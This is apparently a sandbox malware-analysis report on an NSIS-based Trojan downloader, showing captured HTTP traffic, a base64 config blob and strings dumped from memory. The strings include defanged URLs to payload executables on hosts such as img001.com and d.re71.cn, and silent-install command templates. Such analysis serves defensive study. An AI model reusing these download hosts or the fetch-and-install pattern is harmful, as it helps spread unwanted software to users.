Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 622592-1207519/1207520<br>
Content-Length: 584928<br>
Age: 96466<br>
Via: 1.0 fjqz153:8080 (Cdn Cache Server V2.0), 1.0 sdbz73:8104 (Cdn Cache Server V2.0), 1.0 shiben10:51020 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMReport.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=229376-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>
Date: Sat, 09 Aug 2014 06:25:46 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 229376-924495/924496<br>
Content-Length: 695120<br>
Age: 217482<br>
Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=393216-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 15:52:20 GMT<br>
Date: Sun, 10 Aug 2014 15:52:20 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 393216-924495/924496<br>
Content-Length: 531280<br>
Age: 97088<br>
Via: 1.0 hzh64:8104 (Cdn Cache Server V2.0), 1.0 sdbz23:8080 (Cdn Cache Server V2.0), 1.0 jg9:51020 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /0403/help1.html HTTP/1.0<br>
Host: update.aiqingzhihui.com<br>
User-Agent: NSISDL/1.2 (Mozilla)<br>
Accept: */*<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Date: Mon, 11 Aug 2014 18:50:51 GMT<br>
Content-Length: 654<br>
Content-Type: text/html<br>
Last-Modified: Fri, 11 Jul 2014 09:40:27 GMT<br>
Connection: Close<br>
ETag: "9884ea25ec9ccf1:4ee"<br>
Accept-Ranges: bytes<br>
Server: Microsoft-IIS/6.0<br>
X-Powered-By: ASP.NET<br>
Fw-Via: DISK HIT from ctl-hn-217-175.fcd<br><pre>TRW2VjdF0KOTc9MQo5OD0xCjk5PTEKMTAwPTEKMTAxPTEKMTAyPTEKMTAzPTEKMTA0PTEK<br>MTA1PTEKMTA2PTEKMTA3PTEKMTA4PTEKMTA5PTEKMTEwPTEKMTExPTEKMTEyPTEKMTEzPT<br>EKMTE0PTEKMTE1PTEKMTE2PTEKMTE3PTEKMTE4PTEKMTE5PTEKMTIwPTEKMTIxPTEKMTIy<br>PTEKMTIzPTEKMTI0PTEKMTI1PTEKMTI2PTEKMTI3PTEKMTI4PTEKMTI5PTEKMTMwPTEKMT<br>MxPTEKMTMyPTEKMTMzPTEKMTM0PTEKMTM1PTEKMTM2PTEKMTM3PTEKMTM4PTEKMTQxPTEK<br>MTQyPTEKW3JlY10KMD1odHRwOi8vZG93bi5sYW9jaGVoZS5jb20vMDYxOS9wanl5Xzg5Xz<br>MuZ2lmCltkaXJdCjA9cGp5eV84OV8zLmV4ZQpbZ10KMD0xCltwYV0KMD0xCltpMV0KMD0x<br>CltpMl0KMD3nvo7omJHlm6LotK0KW2kzXQowPWh0dHA6Ly93d3cubWVpbW90dWFuLmNvbS<br>9pY28uaWNvCltpNF0KMD1tbXQuaWNvCltpNV0KMD1odHRwOi8vd3d3Lm1laW1vdHVhbi5j<br>b20vP2FxMQpbZWRdCkUwPTE=..</pre></font><br><br
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=6553600-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:40 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 19450704<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186601<br>
Content-Range: bytes 6553600-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=557056-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 02 Sep 2014 13:53:19 GMT<br>
Date: Sun, 03 Aug 2014 13:53:19 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 557056-1207519/1207520<br>
Content-Length: 650464<br>
Age: 709032<br>
Via: 1.0 wzpy185:88 (Cdn Cache Server V2.0), 1.0 jg9:10001 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMReport.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 200 OK<br>
Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>
Date: Mon, 28 Jul 2014 23:18:00 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Content-Length: 1178448<br>
Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Age: 1193553<br>
Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMNet.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /wwwww_3340.zip HTTP/1.0<br>
Host: yunbo.luopf.cn<br>
User-Agent: NSISDL/1.2 (Mozilla)<br>
Accept: */*<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Content-Length: 3591824<br>
Content-Type: application/x-zip-compressed<br>
Last-Modified: Thu, 12 Jun 2014 11:07:17 GMT<br>
Accept-Ranges: bytes<br>
ETag: "eae152792e86cf1:32d"<br>
Server: Microsoft-IIS/6.0<br>
Date: Mon, 11 Aug 2014 18:51:15 GMT<br>
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_928:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
uDSSh
uDSSh
.DEFAULT\Control Panel\International
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationA
SHFileOperationA
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
RegCloseKey
RegCloseKey
RegDeleteKeyA
RegDeleteKeyA
RegOpenKeyExA
RegOpenKeyExA
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
verifying installer: %d%%
verifying installer: %d%%
unpacking data: %d%%
unpacking data: %d%%
... %d%%
... %d%%
hXXp://nsis.sf.net/NSIS_Error
hXXp://nsis.sf.net/NSIS_Error
~nsu.tmp
~nsu.tmp
%u.%u%s%s
%u.%u%s%s
RegDeleteKeyExA
RegDeleteKeyExA
%s=%s
%s=%s
*?|/":
*?|/":
\LOCALS~1\Temp\nsz3.tmp\NSISdl.dll
\LOCALS~1\Temp\nsz3.tmp\NSISdl.dll
.exe"
.exe"
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\NSISdl.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\NSISdl.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp
WS2_32.dll
WS2_32.dll
NSISdl.dll
NSISdl.dll
invalid URL
invalid URL
Host: %s
Host: %s
GET %s HTTP/1.0
GET %s HTTP/1.0
User-Agent: NSISDL/1.2 (Mozilla)
User-Agent: NSISDL/1.2 (Mozilla)
http=
http=
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Unable to open %s
Unable to open %s
%skB (%d%%) of %skB at %u.ukB/s
%skB (%d%%) of %skB at %u.ukB/s
(%u hours remaining)
(%u hours remaining)
(%u minutes remaining)
(%u minutes remaining)
(%u seconds remaining)
(%u seconds remaining)
Downloading %s
Downloading %s
.reloc
.reloc
System.dll
System.dll
callback%d
callback%d
kP.zg
kP.zg
.AGkp
.AGkp
nsz3.tmp
nsz3.tmp
79.exe
79.exe
\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp
\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp
%original file name%.exe
%original file name%.exe
c:\%original file name%.exe
c:\%original file name%.exe
%Program Files%\qwe1
%Program Files%\qwe1
~1\Temp\nsz3.tmp\dfg9
~1\Temp\nsz3.tmp\dfg9
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu1.tmp
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu1.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
%Program Files%\updatr
%Program Files%\updatr
spkjrjp_30279.exe
spkjrjp_30279.exe
hXXp://yunbo.luopf.cn/spkjrjp_30279.zip
hXXp://yunbo.luopf.cn/spkjrjp_30279.zip
k5%D
k5%D
zU.CC
zU.CC
Nullsoft Install System v2.45
Nullsoft Install System v2.45
yunbo.cn
yunbo.cn
2014.07.25.112739
2014.07.25.112739
%original file name%.exe_928_rwx_10004000_00001000:
callback%d
callback%d
guagua_77150006814.exe_496:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
t.Ht4
t.Ht4
.\ConfigDlg.cpp
.\ConfigDlg.cpp
GuaGua\ServiceClient.exe
GuaGua\ServiceClient.exe
Player\DefCamSetup.dll
Player\DefCamSetup.dll
CamerDll:%s
CamerDll:%s
dbghelp.dll
dbghelp.dll
%sddd_ddd.dmp
%sddd_ddd.dmp
CGuaGuaMsgBoxDlg
CGuaGuaMsgBoxDlg
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
.\ImageMgr.cpp
.\ImageMgr.cpp
Resource%d
Resource%d
FirstImage %s
FirstImage %s
LastImage %s
LastImage %s
Image%d
Image%d
%c:\Program Files\
%c:\Program Files\
.\ProductInfoMgr.cpp
.\ProductInfoMgr.cpp
GetAllProductInfo %d
GetAllProductInfo %d
hXXp://admin.downloader.re63.cn/downcontainer/downLoadList.do
hXXp://admin.downloader.re63.cn/downcontainer/downLoadList.do
log\1.xml
log\1.xml
hXXp://admin.downloader.re63.cn/downcontainer/downLoadForGuaGua.do
hXXp://admin.downloader.re63.cn/downcontainer/downLoadForGuaGua.do
%s?id=%s&recid=%I64d
%s?id=%s&recid=%I64d
%s?recid=%I64d
%s?recid=%I64d
log\2.xml
log\2.xml
installUrl
installUrl
installUrl2
installUrl2
licenseUrl
licenseUrl
LoadConfig %d
LoadConfig %d
App GetProductInfo(%s) Error %d
App GetProductInfo(%s) Error %d
hXXp://img001.com/business/kele.exe
hXXp://img001.com/business/kele.exe
hXXp://img001.com/business/qixi.exe
hXXp://img001.com/business/qixi.exe
hXXp://img001.com/business/qiji.exe
hXXp://img001.com/business/qiji.exe
hXXp://img001.com/business/juxing.exe
hXXp://img001.com/business/juxing.exe
hXXp://img001.com/business/pingguo.exe
hXXp://img001.com/business/pingguo.exe
hXXp://img001.com/business/caihong.exe
hXXp://img001.com/business/caihong.exe
hXXp://d.re71.cn/business/kele.exe
hXXp://d.re71.cn/business/kele.exe
hXXp://d.re71.cn/business/qixi.exe
hXXp://d.re71.cn/business/qixi.exe
hXXp://d.re71.cn/business/qiji.exe
hXXp://d.re71.cn/business/qiji.exe
hXXp://d.re71.cn/business/juxing.exe
hXXp://d.re71.cn/business/juxing.exe
hXXp://d.re71.cn/business/pingguo.exe
hXXp://d.re71.cn/business/pingguo.exe
hXXp://d.re71.cn/business/caihong.exe
hXXp://d.re71.cn/business/caihong.exe
hXXp://VVV.%s.com
hXXp://VVV.%s.com
hXXp://cj.%s.com/downloader/
hXXp://cj.%s.com/downloader/
hXXp://img001.com/business/guagua_setup.exe
hXXp://img001.com/business/guagua_setup.exe
hXXp://img001.com/business/guagua_dance_setup.exe
hXXp://img001.com/business/guagua_dance_setup.exe
GuaGua\GuaGua.exe
GuaGua\GuaGua.exe
Dance\ChatHall.exe
Dance\ChatHall.exe
hXXp://cj.guagua.cn/downloader/
hXXp://cj.guagua.cn/downloader/
ChatHall.exe
ChatHall.exe
UpdateConfig Success%d
UpdateConfig Success%d
hXXp://download.re63.cn
hXXp://download.re63.cn
LoadCookie %d
LoadCookie %d
LoadCookie: RecommendStr=%s
LoadCookie: RecommendStr=%s
%d:%I64d:%d
%d:%I64d:%d
UpdateConfig RecType:%d, RecId:%I64d, Ad:%d
UpdateConfig RecType:%d, RecId:%I64d, Ad:%d
HMAFROMURL
HMAFROMURL
UpdateConfig: SourceUrl=%s
UpdateConfig: SourceUrl=%s
UpdateConfig: WebID=%s
UpdateConfig: WebID=%s
G1.0.0
G1.0.0
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d
rec_type:%d,
rec_type:%d,
rec_ad:%d,
rec_ad:%d,
src_url:%s,
src_url:%s,
web_id:%s,
web_id:%s,
.\ReptThread.cpp
.\ReptThread.cpp
Rept %s Result [%d, %d]
Rept %s Result [%d, %d]
%slog\ddd ddd.log
%slog\ddd ddd.log
.\SetupTool.cpp
.\SetupTool.cpp
CSetupToolApp %d
CSetupToolApp %d
CImageMgr::Instance().LoadFromServer()
CImageMgr::Instance().LoadFromServer()
CImageMgr::Instance().LoadFromServer() Success
CImageMgr::Instance().LoadFromServer() Success
/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s
/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s
.\SetupToolDlg.cpp
.\SetupToolDlg.cpp
Launch InstallProgram: %s %s
Launch InstallProgram: %s %s
State=%d
State=%d
nCount=%d,currentImage=%d
nCount=%d,currentImage=%d
GuaGua\ServiceClient.dll
GuaGua\ServiceClient.dll
Call LaunchGuaGua(%s)
Call LaunchGuaGua(%s)
Exec %s [%d]
Exec %s [%d]
-%%
-%%
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\Path.cpp
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\Path.cpp
ExecApp %s %s [%d]
ExecApp %s %s [%d]
[%d, %d]: %s
[%d, %d]: %s
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\ColorCheckButton.cpp
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\ColorCheckButton.cpp
Checked %d
Checked %d
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\BitmapFile.cpp
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\BitmapFile.cpp
CBitmapFile::Open(%s)
CBitmapFile::Open(%s)
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadManager.cpp
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadManager.cpp
InternalDownloadFile() break=%d
InternalDownloadFile() break=%d
SupportBreakDownload
SupportBreakDownload
Begin SupportBreakDownload
Begin SupportBreakDownload
End SupportBreakDownload bThreadFinish=%d
End SupportBreakDownload bThreadFinish=%d
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadThread.cpp
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadThread.cpp
Begin OnExecute GetUnfinishBytes nId=%d
Begin OnExecute GetUnfinishBytes nId=%d
End OnExecute GetUnfinishBytes nId=%d
End OnExecute GetUnfinishBytes nId=%d
End OnExecute Receive nId=%d
End OnExecute Receive nId=%d
Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\HttpClass.cpp
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\HttpClass.cpp
CHttpClass SetOption
CHttpClass SetOption
CHttpClass SetOption Finish
CHttpClass SetOption Finish
GetHttpFile(%s, %s) error: [%d,%d]%s
GetHttpFile(%s, %s) error: [%d,%d]%s
SendHttpMsg %d
SendHttpMsg %d
SendHttpMsg %d %s
SendHttpMsg %d %s
SendHttpMsg(%s) error: [%d,%d]%s
SendHttpMsg(%s) error: [%d,%d]%s
User-Agent: %s
User-Agent: %s
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
PostHttpMsg(%s) error: [%d,%d]%s
PostHttpMsg(%s) error: [%d,%d]%s
GetHttpFileInfo(%s) error: [%d,%d]%s
GetHttpFileInfo(%s) error: [%d,%d]%s
HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s
HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s
HttpRequest(%s) error: [%d,%d]%s
HttpRequest(%s) error: [%d,%d]%s
ReceiveBytes(%d) error: [%d,%d]%s
ReceiveBytes(%d) error: [%d,%d]%s
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\OutputFile.cpp
\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\OutputFile.cpp
%s, %d
%s, %d
%s, length = %I64d err = %d
%s, length = %I64d err = %d
COutputFile::WriteData(%I64d, %d)
COutputFile::WriteData(%I64d, %d)
d:d:d:d
d:d:d:d
File: %s
File: %s
Line:%d
Line:%d
Cond: ASSERT( %s );
Cond: ASSERT( %s );
Condition: ASSERT( %s );
Condition: ASSERT( %s );
SourceFile: %s
SourceFile: %s
LineNum: %d
LineNum: %d
COMCTL32.DLL
COMCTL32.DLL
hhctrl.ocx
hhctrl.ocx
commctrl_DragListMsg
commctrl_DragListMsg
CCmdTarget
CCmdTarget
CNotSupportedException
CNotSupportedException
ntdll.dll
ntdll.dll
kernel32.dll
kernel32.dll
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
%s.dll
%s.dll
CHttpConnection
CHttpConnection
CHttpFile
CHttpFile
hXXp://
hXXp://
WININET.DLL
WININET.DLL
HTTP/1.0
HTTP/1.0
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
user32.dll
user32.dll
ole32.dll
ole32.dll
mscoree.dll
mscoree.dll
internal state. The program cannot safely continue execution and must
internal state. The program cannot safely continue execution and must
continue execution and must now be terminated.
continue execution and must now be terminated.
- This application cannot run using the active version of the Microsoft .NET Runtime
- This application cannot run using the active version of the Microsoft .NET Runtime
Please contact the application's support team for more information.
Please contact the application's support team for more information.
GetProcessWindowStation
GetProcessWindowStation
OLEACC.dll
OLEACC.dll
f:\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\GuaGuaShow\GuaGuaRelease\SetupTool.pdb
f:\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\GuaGuaShow\GuaGuaRelease\SetupTool.pdb
GetCPInfo
GetCPInfo
KERNEL32.dll
KERNEL32.dll
CreateDialogIndirectParamA
CreateDialogIndirectParamA
GetKeyState
GetKeyState
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
USER32.dll
USER32.dll
GetViewportExtEx
GetViewportExtEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GDI32.dll
GDI32.dll
comdlg32.dll
comdlg32.dll
WINSPOOL.DRV
WINSPOOL.DRV
RegCloseKey
RegCloseKey
RegOpenKeyExA
RegOpenKeyExA
RegEnumKeyExA
RegEnumKeyExA
RegOpenKeyA
RegOpenKeyA
RegDeleteKeyA
RegDeleteKeyA
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
ShellExecuteExA
ShellExecuteExA
SHELL32.dll
SHELL32.dll
COMCTL32.dll
COMCTL32.dll
UrlUnescapeA
UrlUnescapeA
SHLWAPI.dll
SHLWAPI.dll
oledlg.dll
oledlg.dll
OLEAUT32.dll
OLEAUT32.dll
InternetCrackUrlA
InternetCrackUrlA
InternetCanonicalizeUrlA
InternetCanonicalizeUrlA
HttpAddRequestHeadersA
HttpAddRequestHeadersA
HttpQueryInfoA
HttpQueryInfoA
HttpSendRequestA
HttpSendRequestA
HttpOpenRequestA
HttpOpenRequestA
WININET.dll
WININET.dll
GdipSetImageAttributesColorKeys
GdipSetImageAttributesColorKeys
GdiplusShutdown
GdiplusShutdown
gdiplus.dll
gdiplus.dll
WS2_32.dll
WS2_32.dll
.PAVCObject@@
.PAVCObject@@
.PAVCException@@
.PAVCException@@
.PAVCINETException@@
.PAVCINETException@@
.PAVCInternetException@@
.PAVCInternetException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCUserException@@
.PAVCUserException@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCOleException@@
.PAVCOleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.?AVCHttpConnection@@
.?AVCHttpConnection@@
.?AVCHttpFile@@
.?AVCHttpFile@@
.PAVCArchiveException@@
.PAVCArchiveException@@
.PAVCFileException@@
.PAVCFileException@@
.PAVCOleDispatchException@@
.PAVCOleDispatchException@@
zcÃ
zcÃ
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\log\20140811 215035.log
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\log\20140811 215035.log
21:50:55:131
21:50:55:131
LastImage hXXp://img001.com/tg_pic/mobo14-1-9.png
LastImage hXXp://img001.com/tg_pic/mobo14-1-9.png
ame=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid= Result [1, 200]
ame=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid= Result [1, 200]
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\guagua_77150006814.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz3.tmp\guagua_77150006814.exe
(*?@@?*&
(*?@@?*&
%.CC5!
%.CC5!
a%f#hA
a%f#hA
?%C;%
?%C;%
4.Rh5|
4.Rh5|
\^.ao
\^.ao
V%Fhb>
V%Fhb>
bPPn-k%%D*
bPPn-k%%D*
Aj.HM
Aj.HM
o.LM%
o.LM%
|%<.vyns>
|%<.vyns>
C%UQf*u
C%UQf*u
.CAQA
.CAQA
HM%FWP,
HM%FWP,
am.HM
am.HM
H
H
K5H.umE5
K5H.umE5
4]mn.znpdd
4]mn.znpdd
MD.pl
MD.pl
U]%s^
U]%s^
Jt.MS
Jt.MS
KAr%s
KAr%s
l.QfV
l.QfV
8HÃ…c
8HÃ…c
lx\/`ckc#u.sQsxE
lx\/`ckc#u.sQsxE
.XB=8
.XB=8
%x$4/
%x$4/
.WF5l
.WF5l
.Oae(
.Oae(
7i%u0
7i%u0
version="1.0.0.0"
version="1.0.0.0"
accKeyboardShortcut
accKeyboardShortcut
1.1.0.0
1.1.0.0
GirlShow.exe
GirlShow.exe
All Files (*.*)
All Files (*.*)
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
